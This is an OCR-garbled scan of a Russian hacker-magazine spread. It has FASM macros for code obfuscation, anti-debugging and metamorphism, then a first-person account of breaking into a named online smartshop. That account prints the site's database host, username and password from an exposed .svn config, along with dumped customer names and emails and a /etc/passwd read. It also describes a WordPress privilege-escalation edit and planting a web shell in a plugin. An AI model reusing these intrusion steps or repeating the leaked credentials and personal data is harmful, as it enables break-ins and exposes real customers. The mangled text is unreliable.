FPU-uHcTpyKumnii BnepeMellKy ¢ 0BbI4HbIM KOAOM — 3TO MOJ03PUTENBHO,
Tbl He Haxoauwb? Vinn gecstok nHcTpykuumii lea, naywmnx nogpsag? A bec-
KOHTPOJIbHbIN FeHepaTop BMOJIHE MOXeT TBOPUTL Takoe). Maen B npouecce
[LOJI)XHO BO3HMKATb BENMKOE MHOXECTBO — npobyil Bce, YTo NpUAET B
rosoBy, He orpaHunymnBai cebs. Tenepb napa cnoB 06 NCNONL30BAHUM
makpoca gen_trash. Cnenaem npoctoin pacwndpoBLMK, pa3baBneHHbI
MyCOpOM:

gen_trash 15
.CodeStart
USEDREG1 = REAX
gen_trash 27

mov eax,

mov ecx, CodeSize
USEDREG2 = RECX
gen_trash 20
.again:
xor bytel[eax], XOR_KEY
gen_trash 37
inc eax
gen_trash 10
loop .again
gen_trash 43
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XOR_KEY, Mexnay npoumnm, Toxe ciefyeT caenatb ciydaHbiM.

randomize
XOR_KEY = rndnum mod OxFF

pn BonbLioM KonnuyecTse Mycopa 1 Npu AOCTOMHOM ero kayecTse He Tak
npocTo byaeT pa3obpaTbes, YTO XKe B KOAE NMPOUCXOAMT, U KaK OTLEUTb ero
oT Mycopa. YNy4wuTb reHepaTop MoxHo, fobasne paboTy ¢ sokaabHbIMK\
rnobanbHbIMU NepeMeHHbIMI, pasanyHble Nepexonsl, BeTBIEeHUs, Npo-
Leaypbl, PasnnyHble BapuaHTbl MHCTPYKLWIA, CROXHbIE MHCTPYKLMM B1AA
lea eax,[ ecx*4+100 ... Ho — rnaBHoe!.. Camoe rnaBHoe — He 3abbiBait,
YTO KOZ, AOSIKEH DbITh CXOXUM C reHepurpyemMbiM HopMasnbHbIM KOMAUAATO-
POM W OAHOBPEMEHHO XWUTPbIM, 3anyTaHHbIM. VI3yyn YacToTy NoBTOpPeHN
MHCTPYKLWIA B pPaCNpOCTPaHEeHHbIX MW BXOAALLMX B COCTaB OMepaLMoHHON
CUCTEMbI MPOrpaMM, a 3aTeM NPUMEHY 3Ty CTaTUCTUKY B CBOEM reHepaTope.

OXACED1A AHTHOTNIAZIKA

Hwv onHa 3aLimTa Kofa NpocTo He NpefcTaBnseTcs De3 aHTUOTNAA0UHbIX
TptokoB. [JobaBuM v Mbl, Ho Byem xutpee. CaenaeM BCTaBKy CyyaitHoro
aHTVMOTNAA04HOrO Tploka B ClyHaiiHOM MecTe, TO eCTb MPOCTo fobaBuM K
Makpocy gen_trash, v Tpiok OyfeT reHepupoBaThCsl HApaBHe C MHCTPYK-
umsamu. [pocToit npuMep — ecsin 0TNafumnK obHapyXKeH, BbINOHAETCS
Nepexof, Ha crly4aiiHblil aapec B Npeaesniax Cekuum Koaa.

macro adbg {

randomize

variant = rndnum mod N

randomize

destination = (rndnum mod ((ENTRY_POINT + 0x1000)
- ENTRY_POINT)) + ENTRY_POINT

if vatiant = 0

invoke IsDebuggerPresent
test eax,eax
jnz S$+destination

else if variant = N

Takeke Tptoku cnegyeT pa3baBnaTs MycopoM. [Jobasnsit bonblue aHTHOT-
nafkn — bonblue Coprpr308 UCCe0BaTeNto.

0XACE WA PAHIOMHU3ALLUA API-BbI30BOB

[MoMuMo BuHapHoro Mycopa, Kog, clieflyeT CLieNaTb BbICOKOYPOBHEBbIM.
Bnonxe nocnyxut gns atoro Windows APl @yHKLMK MOTYT He HecTu
CMbICNA, @ MOTYT BbITb U HEOTLEMIEMOI YACTbIO NPOrpaMMsl. [1pocToit
npvMep BCTaBKM ciyyarHoro API-Bbi3oBa:

macro gen_trash_api {
randomize
RandomParaml = rndnum mod OxXFFFFFFFF
randomize
RandomParam?2 = rndnum mod OxXFFFFFFFF

randomize
variant = rndnum mod 4
if variant = 0

invoke IsBadReadPtr,RandomParaml , RandomParam?
else if variant = 1

invoke IsBadWritePtr,RandomParaml,RandomParam?2
else if variant = 2

invoke IsBadCodePtr,RandomParaml
else if variant = 3

invoke GetLastError

end if

He cTounT 3abbiBaTh, 4To API-byHKUMM He coxpaHstoT pernctpbl Eax, Ecx
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Kop nocne mopdmHra

n Edx. CoxpaHsiii 3Ha4eHNa 3TUX PErncTpoB, eCu B HIX COAepXaTcs

¥ NCMONb3YIOTCH BaXHble 3HaYeHKs. BcTaBrM BbI30B 3TOr0 Makpoca B
gen_trash. [Moaknioun daHTasmio; BbI30BLI GYHKLMIA He 0bs3aTenbHo
AOKHBI BbIT OAVHOYHBIMY, BEICOKOYPOBHEBbIN MyCOP AOJIXEH B3anMOo-
AevicTBoBaTh ¢ brHapHbIM — He nogkonaelubes. Hennoxo bynet amynupo-
BaTb HeKoTOpble GYHKLMM, TO eCTb peann3oBaTb Ux kog y cebs. Bbizos nnwm
MCNOoNb30BaHWe CBOEro KOAa SABASIOTCH BapuaHTaMu, npuMep:

macro GetLastError {

rnd
variant = rndnum mod 2
if variant = 0

mov eax, [fs:18h]

mov eax, [eax+TEB.LastError]
else if variant = 1

invoke GetLastError

end if

0XAT1AS5, WIH METAMOP®UHT

MeTaMopdUHT g peann3osan Kak 3aMeHy UHCTPYKLMIA CBOUMYU GYHKLMO-
HanbHbIMW aHanoramu. FASM nossonsieT nepeonpefensTe MHCTPYKLMM
Makpocamu, YTo o4eHb yaobHo. BosbMeM, K npuMepy, MHCTPYKLO mov
reg32_1, reg32_2. Kakue Moryt bbiTb aHanorn? lepBoe, 4To MpUXOAUT B
ronosy (BoobLLe MX MOXHO NMPUAYMaTh BESMKOE MHOXECTBO):

push reg32_2

pop reg32_1

push reg32_2

mov reg32_1, [esp]
add esp,4

push reg32_2

xchg reg32_1,reg32_2
pop reg32_1

[prMeHn paHTasumio, He cnedyit WabnoHam, v 3a HebosbLLOK NpOMeXyYTOK
BpeMeHU MOXHO DyfleT HanucaTb 40CTaToYHOe KOSIMYeCTBO aHanoroB Ans
BCeX MHCTPYKLUMIA. Hanuiem mMakpoc, nepeonpenensoLin MUHCTPYKLMIO
mov. 06a3aTenbHO NpoBepsieM, 4To apryMeHTbl ABASITCA PerncTpamu, Tak
KaK y Hac ecTb 3aMeHa TO/IbKO 3TOr0 BapyuaHTa:

macro mov argl,arg2 {

if (argl egtype eax) & (arg2 eqgtype eax)

rnd
variant = rndnum mod 4
if variant = 0
push arg2
pop argl
else if variant = 1
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06dhycumpoBaHHbIN MoV

push arg2
mov argl, [esp]
add esp,4

else if variant = 2
push arg2
xchg argl,arg2
pop arg2

else if variant = 3
mov argl,arg?

end if

else
mov argl,arg?2

end if

[Mposepsem:

mov eax,ecx

mov ecx,ecx

mov edx,esp

WTor:
51 | push ecx
91 | xchg ecx, eax
59 | pop ecx
89e5 | mov ebp, esp
53 | push ebx
59 | pop ecx

3amevatensHo, He npasaa nm? [lobaBMB Kak MOXHO bonbLe MHCTPYKLMIA
11 BAPMAHTOB 3aMeHbl, MOXHO J,0OUTLCS 3amMeyaTesbHbIX pe3ynsTaTos.

OXAB1E, UNIU IEPMYTALIUA

3pech BCe ToXe NpefesibHO NPoCTo W JaeT MOLLHbIN pe3ynbTaT. HaM Hy>XHo
M3MEHWTb PACMONOXeHNe HeKOTOpbIX BNOKOB Koaa be3 n3MeHeHNs GyHK-
UMoHanbHocTK 1 be3 nospexaeruns koga. [1ng Hayana 3a 610kM Bo3bMeM
npouenypsl, Aanee 311 610kM cheflyeT MakCMMasnbHO yMeHbWUTb. Hag
cnocobom cay4aitHoro n3MeHeHuns 6110KOB Kofa i HeoNro AyMasl, BO3MOX-
HO, ecTb bonee mn3sLLHoe peweHne — nogyman. CyTb TakoBa: Kax/iyto npo-
Leaypy obopaurBaeM B Makpoc, CO3/laeM /18 Hee nepemMeHHylo — dnar,
CUTHaNM3VpyoLLKii 06 ncnonb3osBaHuy, Aabbl He BCTaBASTh NpoLeaypbl
Heckosbko pas. Hanpumep (nepmyTpyem Tpu npoueaypsl, ckenet), ko
rNaBHOM CTPYKTYpbl Tenepuya BbIMAANT Tak:

fproc_1 = 0

(]
o

fproc_2

entry $

;KOL TJIaBHOM IIPOLIENYDH

while (flag_1 = 0) |

randomize

(flag_2 = 0)

sequence = rndnum mod 2
if sequence = 0
if flag_1l = 0
proc_1

» 059



Mocne naTya KOHTpPoOJiIbHad CyMMa OT/IMYalaCb BCEro
NUWb Ha oAMH 6alT, U Tenepb Nepexop BbINOJIHEH He
Tyna, Kyaa Hapo

flag_1 =1
end if
else if sequence = 1
if flag_2 =0
proc_2
flag_ 2 = 1
end if

end if
end while
macro proc_1 {

proc AnyProcedurel

ret
endp
}
macro proc_2 {

proc AnyProcedure?2

ret

endp

HpOBepMB 3TOT Kof, y6e>~<ﬂ,aeMcq, 4YTO npouenypbl BbICTaBAAKTCA Kak
Hano, cnyuaMHo, KoL He MopTUTCA.

OXDEFACED, WX 0b®YCKALUA: IMHAMUYECKOE
BbIYUCNEHWUE AZIPECOB

OpuH 13 cnocobos npoTrBoAeNCcTBUS An3acceMmbnepam 1 obMaHy aHanm-
3aTOPOB — [MHAMUYECKOe BbIYMCIIEHNE a[JpECOB NEPEXOO0B MW aapecoB
nepemeHrHsbIx. [TprMep, Kak MOXHO BbIYUCAATL afpec:

push label - wvalue
add [esp],value
Jmp [esp]
label:
add esp,4; m3baBIgEeMCS OT HEHYXHOTO
Cne,uyeT caenatb cnyual?lele ANIfOPUTMbIl BbIYMCNIEHNA, BaApUaHTbl pea-

AM3auMmn anropuTMa, 1, eCTeCTBEHHO, 3HaYeHNs Ans Mogndukaumnu. Mpu-
Mepamu 3TOro CTaHyT NpeACTaBeHHble HUXe Makpockl o_jmp u olabel:

macro o_jmp destination {
randomize
variant = rndnum mod 2
if variant = 0
randomize
value = rndnum mod IMAGE_BASE
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push destination - value
add [esp],value
jmp [esp]
else if variant = 1
randomize
value = rndnum mod (OxFFFFFFFF - IMAGE_BASE
- 0x1000)
push destination + value
sub [esp],value
Jjmp [esp]
end if
}
macro o_label name {
label name

add esp,4

WNTor paboTel MakpocoB:

68001127b6 | push dword 0xb6271100
812c249b10e7b5 | sub dword [esp], 0xb5e7109b
££2424 | jmp dword near [esp]

31cO | xor eax, eax

83c404 | add esp, 0x4

31c0 | xor eax, eax

Bes TpaccupoBKkM 1 He y3Haelb, Kya BeAeT Nepexom, ClefoBaTeNlbHo,
cTaTnyeckunii aHanns obnambisaeTcs. 34ech TakKe CTOUT y4nUTbIBaTb 3a-
HATble\CBOBOIHbIE PETVCTPLI B TeHepaTope Mycopa, Tak Kak MoCTosHHOe
ncnonb3oBaHue Esp ctaBuT kneiMo Ha cnocobe, fa 1 camo no cebe Ha-
knagHo. ELle ogHOI HENNOXOW YNOBKOW SBASETCS BCTaBka NepexofoB Ha
JaHHble, HO MePexofibl 3TM HUKOTAA He BbIMOAHAIOTCA (MM BbINOAHAIOTCA
TOJILKO NPU Hanuyum otnagymkal. 3to cbmBaeT ¢ Tonky aHanM3aTopsl, v
OHU MbITatOTCs An3accembanposaTb faHHble. [prMep Makpoca:

macro facke_code_ref data_addr,jmp_addr {
XOr eax,eax
inc eax
jnz jmp_addr
call data_addr

;trash

B utore agpec data_addr byneTt aHanu3npoBaTbCs Kak Kog,.

0XA55 — 3ALIMDPOBKA KOJA\JAHHBIX

3aMeuatenbHbiMK GyHKUMAMKU Makposidblka FASM, oTanyatowmmMu ero

OT Apyrux Makpoaccembnepos, aenstoTcs load v store. Vicnonb3osats nx
MOXHO AN1s WndpoBaHns koda nim gaHHblx. [TpocTot npumep, ana wud-
POBaHWS MCMOb3YETCS XOr:

macro xor_data start,length,key {
repeat length
load x from start+%-1
x = x xor key
store x at start+%-1

end repeat

O4yeHb nonesHbli Makpoc, 4 ero ncnonb3oBan onqd 3aLLH/ICprBKl/I CTPOKO-
BbIX AaHHbIX. I_IpMMep NCMNoNb30BaHUA:

randomize
XOR_KEY = rndnum mod OxFF
xor_data strings, strings_size, XOR_KEY

strings:
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B3rnap Ha MHoroobewatuwee byayuee 4yepes oKHO
radare

any_string db 'Mate.Feed.Kill.Repeat'

strings_size = $ - strings

0XABA51A, WU KOHTPOJIb LEENOCTHOCTH KOZIA

Bbiuncane Ha cTagmm KOMIUASLAK KOHTPOSTbHbIE CYMMbl Y4aCTKOB K0Aa,
MOXHO 3aLLMTUTLCA OT MogMdUKaLMW, NepecynTbIBas 1 NPOBEPSA Npu Bbl-
NOJHEHUM 3TK CyMMBI. Takxe NogobHbIM 06pa3oM MOXHO LeTeKTMpoBaTh
TpaccMpoBKYy NOCPEACTBOM BCTaBKM B Kof, NpepbiBaHus int3, kak fenator
MHOrve oTnafguvkn. Makpoc, Bblyncnsowmii crc32 cymmy bnoka koga:

CRC32_SUM = 0

macro calc_crc32 start, size {
local b,c

OxfEffffff

repeat size

@ =

load b byte from start+%-1

c = c xor b
repeat 8
c = (¢ shr 1) xor (0xedb88320 * (c and 1))
end repeat
CRC32_SUM = c xor Oxffffffff
}
Xouy 3aMeTWTb, YTo onepaumn Buaa if (original_hash != current_

hash) Error() abconoTHo becnonestbl! XoTs vcnonb3ayoTcs nosce-
MECTHO, Aaxe B KpyTbIx NpoTekTopax. A BOT HeuTo nofobHoe:

mov eax,address + original_hash
sub eax,current_hash

call eax

Coscem apyroe geno. [1Byx 3aiiLeB cpasy: 0bdyckaLys — AMHaMUYeCcKoe Bbl-
yucneHvie agpeca nNepexoaa, 1 KOHTPOsb LLeNoCTHOCTU KOAA, TO eCTb, eCAN KOf
BbIn KakMM-nrbo 0bpasom nameHeH, byLeT BbINOSIHEH Nepexof KOT 3HAET Kyaa.

OXACCEDE, WX OBMAH AHAJIU3ATOPOB

Ananusatopbl ucnonHaemslx daitnos Bpofe PEID ncnonb3yioT curHatyp-
HbI Nouck, B ba3e HaxoaaTCcs Lenoykun baiiT, KoTopble BCTpeYaloTcs B
nonynspHbix npoTekTopax\ynakosimkax. [4as toro, 4tobsl cbuTs ¢ ToNKy
B3JIOMLLMKOB CBOEW NporpaMMel, & co3fan Makpoc, fobasngaownii 8 Entry
Point nporpammsl cayyaiinyio curiaTypy. Bocnonb3osaBwmnch Bhileymno-
MSAHYTbIM @HaNN3aTopOM UM €r0 aHaoroM U MOYYMB NOXKHbIN pe3ynbTar,
B3/IOMLUMK NOMbITAeTCs pacnakosaTb NporpamMmMy 11Mbo aBToMaTUyecknM
pacnakoBLLMKOM, MBO BpYUHyto, Cliedys onmncaHuio. M, KoHeuHo e, Huye-
ro He MoJyYnUTCS, KpOMeE TSXKeNoro cTyrnopa.

macro facke_sign {

randomize

variant = rndnum mod N
if vatiant = 0

;PE Protect 0.9 -> Christoph Gabler
push edx
push ecx
push ebp
push edi
db 0x64, 0x67,

0xAl, 0x30, 0x00

; FASM reHepupyeT IIUHHHY GopMaT UHCTPYKIINN
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;mov eax, [ :0x30], mosTOoMy 3ammcalyl TakuM obpazoM
test eax,eax

js @f+1

call
pop eax
add eax,7
db 0xCé6

nop

.end.sign

ret
@@e:
db 0xE9,0x00,0x00,0x00,0x00
.end.sign:
else if variant = 1
;CD-Cops II -> Link Data Security
push ebx
pushad
mov ebp,0x90909090
lea eax, [ebp-0x70]
lea ebx, [ebp-0x70]
call s$+5
lea eax, [ecx]
db 0xE9,0x00,0x00,0x00,0x00

else if variant = N

0XAD105. 3AKJIHOYEHKE

[paMoTHOE ncnonb3oBaHWe N KOMBUHMPOBAHME OMMCAHHbLIX MHOIO TEXHUK
N03BONSAET CAeNaTb Cepbe3Hylo 3alunTy. 370 1 0YeHb yA00HO: Hanucas,
0TN1aAMB NPOrpaMMy, C MUHUMasbHbIMM NPaBKaMu MCXOLHOMO Kofa npe-
BpallaeM ee B HeMPUCTYMNHbIN 6acTuoH. [Nocne Toro, kak s Hanucan cBow
Habop MakpocoB, NPOTECTMPOBAN U MPUMEHW UX K CBOEI NporpaMmme,
MHe MpuLLna B rofloBy elle ofjHa 3aMeyaTtenbHas naes. aHHbli MeTon

7 ellle M aBTOMaTU3MpPOBan ClefyloLWmM cnocobom: MoMecTus Ha cepBep
MCXOAHBIN Kof, nporpaMMsbl v komnuasatop FASM, npu 3anpoce nonb3so-
BaTeneM trial-Bepcun nporpamMmbl oHa aBTOMaTUYECKM KOMMIUANPYETCS;
TakvM 0Dpa3oM Moay4aeTcs, YTo Kaxk4oMy Nosib30BaTeto BblAETCS
yHUKaNbHAA BEPCUA NPOrpaMMbl. YHUBEpPCANbHbIE B3NOMLMKK (naTyepsl,
crack'vi v T.n.) npocTo 6eccuibHbl — NpUAETCA NOMaTb Kaxaylo KOMmio
OTAeNbHO. A 3T0 BeAb HEMPOCTO, Y4UTLIBAS, YTO BECh KO, M3MEHEH, a He
KaK Yy HaBECHbIX MPOTEKTOPOB, TONbKO «CBEPXy». MHe, kak pa3paboTuuky,
0CTaeTCs TO/IbKO Yalle 06HOBAAT MCXOLHVKM 1 COBEPLIEHHO HE BOSTHO-
BaTbCs 0 TOM, YTO MO MPOrpamMMy MOryT B3J10MaTb. Tak 4To, open your
eyes, open your mind! 2
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Mar icq 884888, http: //snlpper ru ‘

HYPUTb BPEARO!

B3/10M ronnaHACKoro oHnaiH-CMapTLLIONa

«Xo4y B AMcTepaam» — ¢ aTOH MbIC/IbIO A1 3213 B [yrN B NOMCKaX 04epeHOM HepTBbl.
Cpeav nepBbIx CCbINOK N0 3anpocy «growshop» oKasanca MarasuH azarius.net

C XapaKTepHbIMH 3eNeHbIMU NTUCTUKaMU W3BECTHOrO PacTeHHs Ha MaBHOM CTPaHULLE.
HemHoro noyutaB crpanuuy «About Azarius», A y3Han, 4to AaHHbIM CaUT — OAHH

U3 NepBbIX OHNAaHH-MarasuHoB N0 NpoJaxke NCUXOAKTUBHBIX BELLECTB B HHTEpHETE
(pabotaet ¢ 1999 roaa) c orpoMHoi 6a30i noKynatenei 1 Toapos. [loatoMy Thbi

He YAMBHLILCA TOMY, 4TO Ha OAHOM NOBEPXHOCTHOM NPOCMOTPE CTPaHMLL A He CTa

0CTaHaB/IMBATLCA :).

CAXAEM CEMEHA

/ITak, nepBbIM AeNoM 5 Hayan u3yyaTtb CTPYKTYpy LLIOMa, YTO, 3ameyy,
BbIN0 AeNoM He V3 NPUSATHBIX, Tak Kak MCMonb3oBancs anavesckuii mod_
rewrite, n Bce ccbinku uMenu Bug spofe «http://azarius.net/smartshop/
psychedelics/». [10BEPXHOCTHbIN OCMOTP MHE HUYEro He Aan, ryrn He
nokasas HVKakux MHTepecHbIX NofAOMEHOB U Gaiinos, a n3 nabnuk-
NBVXKOB bbin 0bHapyxeHbl nocneannii WordPress (hitp://azarius.net/
blog/), nponatueHHbin phpBB Bepcun 2.0.22 (http://azarius.net/forum/
docs/CHANGELOG.html) n He oueHb-To ya3suMblin Piwik sepcum 0.5.5
(http://piwik.azarius.net].

EAVHCTBEHHBIM JOCTYNHbIM Bap1aHTOM Ha TOT MOMeHT oka3ancs Piwik ¢
ero XSS B dopMe noruHa (cebinky Ha advisory uim B cHockax). 3amopa-
4nBaTbCs ¢ XSS MHe He 04YeHb XOTeN0Ch, Tak Kak 3T0 A0JIr0 U HeHaAexXHo,
Tak YTO NMPULLIOCH Pa3MbIWAATL fanblie Haf cnocoboM NpoHUKHOBEHWS B
pactaMaHCKuii paw.

NONMBAEM W YI0BPAEM

[Mpowwno Heckonbko fHel. CoBepLIeHHO Cly4aliHO MHe Ha rnasa nonancs
CTapbli nocT ¢ Xabpa 0b yA3B1MOCTY MHOXECTBa KPYMHbIX NOPTaNos,
CBA3@HHOW C TEM, YTO UX .SVN-UCXOHUKM XPaHWUANCH B OTKPLITOM J0CTyne
npsiMo Ha cepBepe. BkpaTue nosicHio cyTb bara.

Bo-nepsbix, SVN — 370 cucTeMa KOHTPOA BEPCUIA, KOTopas sBAseTcs
NPOABUHYTLIM CPEACTBOM A5 OpraH13aLmun CoBMEeCTHOW paboTsl 4ecaTKoB
pa3paboTunkos.

» 062

Bo-BTOpbIX, SVN COBEpLUEHHO OTKPLITO XPaHUT B KaX A0 LMPEKTOpUm
npoekTa cBov MeTadalibl, KOTOpble CNIOXEHbI B AVPEKTOPUMIO «.svn». B
[laHHOW fMpekTopuyn B daine «entries» Haxo[muTcs CNMcok Bcex Gpainos u
LMPEKTOPWMIA, KOTOPbIE PACMONOXEHbI B TOM e CaMoi Narke, YTo 1 «.svn».
3[ech xe HaxoanTCs U HboOpPMaLMsa O pacrofioKeHNN peno3nTopus, pas-
mepe dannos, farte nx MogndukauMmn n MMeHax 1o3epos, paboTatoLmnx Hag,
NPOEKTOM.

CyMMupysi BbllLeHa3BaHHble GpaKkTbl, MOXHO MOLBECTU HEXWUTPbIA UTOT:
ecnv NpoekT pa3pabaTbiBancs ¢ noMolblo SVN, To, 3aiias no agpecy
Bpofe site.com/.svn/entries, Tl CMOXeLLb YBUAETL GaiNoBylo CTPYKTYpY
KOpHS calTa co BCelt nepeyncneHHo LONoNHUTeNbHOM nHbopMaLmeit.

B MoeM cilydae TakuM afpecoM okasancsa azarius.net/.svn/entries, rae
cofepxanack UHdpa Buaa

2008-11-18T10:25:57.000000Z
c581920ba2dad34£f3e6841ac061d958¢c
2007-11-16T11:06:53.860515Z

935

alex

category.php

file

2008-11-18T10:25:57.000000Z2
7ce2e23ac9bc560edc2e79073£b630db
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138

alex

find.php

file

2009-05-01T12:58:14.000000Z
beea2£728667240c14795d3c508a5144
2009-05-01T09:08:40.782967Z

1307

alex

recent .php

file

COBMPAEM YPOHAN

WTak, ckayaB k cebe Ha BUHT ncxofHuky Bcex PHP-dalinos
npoekTa W3 kateropun «.svn/text-base/», 4 Hauan kponoTam-
BO NMapCcUTb VX Ha NpefMeT ysi3BUMOCTEN.

[Tocne o4eHb LOATUX U HYAHBIX PACKOMOK 51 MOHSAJ, YTO
azarius.net — AecTBUTENbHO OYeHb CTapbI U KPYMHbIN
NPOEKT, TaK Kak B MCXOLHMKaX He BbINo faxe HaMeka Ha
BaHanbHble MHKNYAbI, CKYb-UHBEKLMN 1 UXe C HUMK. MckaTb
4TO-TO M3BpaLleHHoe 1 ryboko cnpsiTaHHoe BbINo neHb,
no3ToMy 5 CTan AymMaTb, Kak ObiTb.

Kak okasanock, peleHwue Bbino KkpaliHe NPOCTbIM K fexano
NPaKTUYecky Ha NOBEPXHOCTK :). Ha 3ToT pas MHe yaanock
NPOABMHYTHCS lasbllie BO B3/IOME C NMOMOLLbI0 YTEHUS
koHowmra popyma phpBB no appecy azarius.net/forum/.svn/
text-base/common.php.svn-base:

<?php

Sdbms = 'mysqgld’;

$dbhost = 'database.azarius.net';
Sdbname = 'azaforum';

Sdbuser = 'web_azarius';
Sdbpasswd = 'azariuskaki734';
Stable_prefix = 'phpbb_';

define ('PHPBB_INSTALLED', true);
P>

13 koHdUra BUAHO, YTO MyCKyNn-cepBep LLona pacrosaraeTcs
no agpecy database.azarius.net n BnonHe MoxeT BbITh BUAEH
13 Beba.

Ha 80 HTTP-nopTy cepBepa Bucena cneayiolias Haanuchb:

[an error occurred while processing this
directive]

You don't have permission to access the
requested directory.
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There is either no index document or the
directory is read-protected.
[an error occurred while processing this

directive]

Phpmyadmin’om 3aeck fjaxe 1 He naxo, Tak 4To ocTasa-

nock nonpobosaTk yaaneHHo nogkoHHekTUTbes k 3306 nopTy

MYyCKyna Ha AaHHOM cepBepe.

SAPAYAEM BOHI

3anus Ha ceolt [noutn csoit ) xocT yrunuty MySQL RST/
GHC Manager, s nonpobosan 3anorvHnTbCs Ha cepsake bJl
Azapuyca ¢ NoMoLLblo AaHHbIX 13 KoHdura phpBB. Kak Hu

CTPaAHHO, Yy MEH4A 3TO NMoJIy4nnocChb [I'IOJ'Ib3yHCb clydaeMm, cnewly

HanOMHWTb — pa3peLuait KOHHeKT K CBOeMy MyCKy-cepBepy
TOJbKO € Nokanxoctal).
[lanee HyxHO bbINo HeEMHOro ocMoTpeTLCS B base, YeM g He-
Me[LIEeHHO 1 3aHANCs.
MTak, nof TekyLwmM 103epoM bbian JOCTyMHbI Heckonbko B:

information_schema, Affiliate, aff, azabase
azaforum, cms_system, cmsbase, engquete,
payments, syslog, syslogaza, test, wordpress

B base payments bbina Tonbko ogHa Tabnuuka — «log», roe

XpaHWINCb Masno YeM noJjiesHble JIoru, Tak 4To fasiee 4 nones

npsMykom B rnaeHyto bl — azabase.
HeMHoro umdp: Ha wone 3apervctpuposaHo 239545 pac-

TamMaHoB 1 NCKXOHaBTOB, KoTopble caenanu 291187 opaepos.

Basa 103epoB vMena crefyioLine noss:

UserID, UserStatusID, FirstName,

LastName, Email, EmailVerified, Company,
KVKNumber,

InvoiceAllowed, Remark,

CompanyDescription,
BTWNumber,
Password, ForumID, ForumAdmin,
LastLogin, LangID, CurrencylID,
_Buyer_Address,

_Klantcode,

_Buyer_Host, _Buyer_ Agent,

_Tussenvoegsel, _Korting,

_PasswordNew, _EmailSend, _session_id,

_Website, modified, Newsletter, Nickname
Cnus AAHHY0 683\/ 7 6epe>KHo COXpaHVB ee Ha BUHT ONn4
,D.aJ'IbHePILLIelZ pa6OTbI, 7 CTajl pa3MbllLUNATbL Ha TeM, Kak

3aUTb Wenn B yxe MoNbUBLLMICH MHE OH}'IaVIH-I'IpI/ITOH

NHTEPEeCHbIX NIMYHOCTEN ]

KYPUM

[epBbIM AenoM a8 Nposepua NpusBunerun Ha paboty ¢ danna-

MU y TEKYLLEro t03epa MycKyn:

.«l[;

> links

epiwik.org/
blog/2010/04/piwik-0-

— Piwik <= 0.5.5

el ogin Form XSS
habrahabr.ru/blogs/
infosecurity/70330/
-.svn bara
ehttps://forum.
antichat.ru/thread-
nav51383-1-10.html
— MySQL RST/GHC
Manager 2.3
esnipper.ru/view/5/
magic-include-shell/
— Magic Include Shell
3.3.3

[INFo

nfo

3aWmTnTbCcs o1
NOAKIOYEHNS N3BHE
kK MySQL oueHb
npocto. Ing atoro
3aiav B Tabnuuy
mysql.user,

Halau TaM CBOero
nosb3osaTens

1 NpoangenTs none
Host (ecnn Tekywee
€ro 3HauyeHue paBHoO
«%», TO 3aMeHW ero
ra «localhost»).

L WARNING |

nfo

Bce onuvcaHHoe

B CTaTbe ABNfeTCA
nnofom 6onbHoOro
BoobpaxeHus aBTopa.
Jliobble coBnageHus
C CyLLeCTBYO UMM
calTaMu cnyyanHol.
Hu pepakuus, HK
aBTOp He HecyT
OTBETCTBEHHOCTM 33
ntobol BO3MOXHbI
Bpef, NPUYUHEHHbIN
MaTepuanamm aTon
cTaTby.
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Mokasars sce Gazs
-[ azabase ]---
AddressTypes (2 B cTpoK:
nudm;u:’;s&u’ts) f. Besa ¢

Betaalwijzetmp (18)
Cartltems {326310)
Carts (203480)
CommantRatings {8537}

UserlD  UserStatusID FirstName Lastame  Email
Edit Del 1100006 2 Lennart h di i

Commants (4667)
Company (€)

TERED) [Edit D&l C1100008 2 Lennart3 Jongensal  lennartZ2@shavita.nl
ExperienceCategoriss (16) i .
Experiences (480) Edit Del 1100009 2 Lennartd Jongensel  lennart3@shavita.nl
;:I":s":;; (9200) Edit Del ©1100010 2 Lennart3 Jongeneel  lennartd@shavita.nl
Orderltems (791917)
OrderMailStatu:

o R(EREE) Edit D#l 1100011 2 Lennart3 Jongensal  lennartS@shavita.nl

Orders (291189)

PallVotes (81)
ProductGroupAuctionBans (1)
ProductGroupAuctionLog (2984)
ProductGroupAuctionMaillog {189) Edit Del C1100012 2 sonia veiga
ProductsSoldCache (849)
GuestionType (4)
Questions (108873)
Remindars (2423)
Reviews (19512)

SMSLog (30998)
SearchCache (8973)
SearchType (3)

s_niav@hotmail com

Edit Del 1100013 2 Tommie Pit sniek@xsdall.nl

Ta6nuua c nonb3oBaTeNnsAMu

SELECT load_file('/etc/passwd')

3pechk Bce okaszanoch He Tak npocTo, kak ¢ SYN 1 KoHHeKkToM K ba3ze

— daitnoBbIx NpuBMerin He bbino Boece. C 3aN1BKON Wenna Mornm
nosiBUTbCS Npobnemsl, ecnu bbl aAMUHBI LLIONa CO3Aany pasHbIX l03e-
poB A5 pasHbix Bll, Ho, Kak Tbl yxe MoHsAM, y MeHs Bbin AOCTyn Ko BCEM
6a3zam cpasy, Tak YTO f NOTUXOHbKY CTan KONA0BaTb Haf CBOUM I0OUMBIM
WordPress .

VTak, 3aperasLunce no agpecy http://www.azarius.net/blog/wp-login
php?action=register 1 Noay4YnB Ha CBOE MbISIO Naposb OT akKayHTa, g no-
ne3 B b/ nos HasBaHneM wordpress.

HaBepHsika Tbl 3HaelUb, YTO NpUBKUAEryM Nonb3oBaTeseil baora xpaHaTes
B Tabnuuke wp_usermeta B kntoye nog HaseaHnem wp_capabilities. Mo

nedonTy Kax/blil 03ep MeeT NpUBUAETM NOANUCYKKA, TO eCTb, GakTu-
YeCcKW, He MMeeT HUKaKVX NpyUBUNeruii:

a:1:{s:10:"subscriber";b:1;}

Heponro gymas, s cijenan cBoero TecToBOro 03epa afiMMHUCTPATOPOM,
3aMeHVB laHHOe 3HaYeHne Ha crefylollee:

a:l:{s:13:"administrator";b:1;}

Cras agMUHOM,  3aLen B agMuHKy bnora no agpecy htip://azarius.net/
blog/wp-admin NpaMUKOM B pasgfen pefakTMpoBaHus niaruHos. M Ha
9TOT pa3 MHe CHOBa NOBe3/10 — NAarvHbl BblNW JOCTYNHBI AN pefakTu-
pOBaHWs, Tak YTO MHe 0CTaBafNoCh TOMbKO 3anuncaTb CBOW Lean B nnaruH
«Hello dolly» n aktusmpoBath daiin.

Tenepb Mol Wwesn pacnonaranca no agpecy http://azarius.net/
blog/?azarius u ¢ yLoBONLCTBMEM OTKPbIBAJ MHE [albHENMLINE BO3MOX-
HOCTW ANS M3ydYeHns wona :J.

KYIWIAEM

Tenepb MeHsi 3aKiHTepecoBao ciefyloLee:

1. VicxonHnkn MarasmHa;

2. AoMunHKa marasuHa;

3. Caiitbl-coceam.

